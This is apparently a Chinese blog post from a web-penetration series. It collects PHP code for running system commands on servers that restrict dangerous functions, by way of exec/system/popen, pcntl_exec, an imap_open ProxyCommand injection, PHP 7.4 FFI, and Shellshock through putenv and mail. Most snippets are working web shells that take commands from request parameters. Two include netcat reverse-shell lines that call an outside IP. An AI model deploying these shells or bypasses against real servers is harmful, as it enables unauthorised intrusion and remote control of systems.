WEB渗透Bypass篇-常规函数绕过

常规函数绕过
复制代码
<?php
echo exec('whoami');?>
------------------------------------------------------
<?php
echo shell_exec('whoami');?>
------------------------------------------------------
<?php
system('whoami');?>
------------------------------------------------------
<?php
passthru("whoami");?>
------------------------------------------------------
<?php
$command=$_POST['cmd'];
$handle = popen($command , "r");
while(!feof($handle))
{        echo fread($handle, 1024);  //fread($handle, 1024);
}
pclose($handle);?>
-------------------------------------------------------
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1]))
{        echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}?>
pcntl_exec
复制代码
开启了pcntl 扩展,并且php 4>=4.2.0 , php5,linux

<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>

test.sh
#!/bin/bash
nc -e /bin/bash 1.1.1.1 8888       #反弹shell
imap_open函数
复制代码
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '');
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
php7.4 FFI绕过
复制代码
php 7.4
ffi.enable=true

<?php
$a='nc -e /bin/bash ip 8888';
$ffi = FFI::cdef(
    "int system(char *command);",
    "libc.so.6");
$ffi->system($a);
?>

shellshock

复制代码
存在CVE-2014-6271漏洞
PHP 5.*,linux,putenv()、mail()可用

<?php
function shellshock($cmd) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("a@127.0.0.1","","","","-bv");
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
相关推荐
内心如初5 小时前
17_等保系列之密评、关基安全检测评估与等级测评区别(无广)
网络安全·等保测评·等保测评从0-1·等保测评笔记
niaiheni13 小时前
[深度技术] 绝境求生利用 Pdo\Sqlite 绕过 PHP disable_functions 限制
网络安全
啥都想学点14 小时前
kali 基础介绍(Privilege Escalation、Defense Evasion)
安全·网络安全
石像鬼₧魂石14 小时前
网络安全渗透测试学习路线的核心技能阶段应该学习哪些知识
学习·安全·web安全
浩浩测试一下15 小时前
应急响应 > > > DDoS HTTP 应用层攻击研判溯源手法详解
安全·web安全·网络安全·系统安全·ddos·安全架构
BEGCCYD16 小时前
kali最新版不显示鼠标
linux·网络安全
Whoami!16 小时前
⓫⁄₆ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 自动化枚举
windows·网络安全·信息安全·自动化枚举·winpeas
蜡笔小新拯救世界16 小时前
简单rce的ctf题目绕过
linux·c++·web安全·c#
中科固源17 小时前
中科数测卫星网络及系统安全检测智能体亮相北京国际航天展
网络安全·卫星·商业航天·卫星安全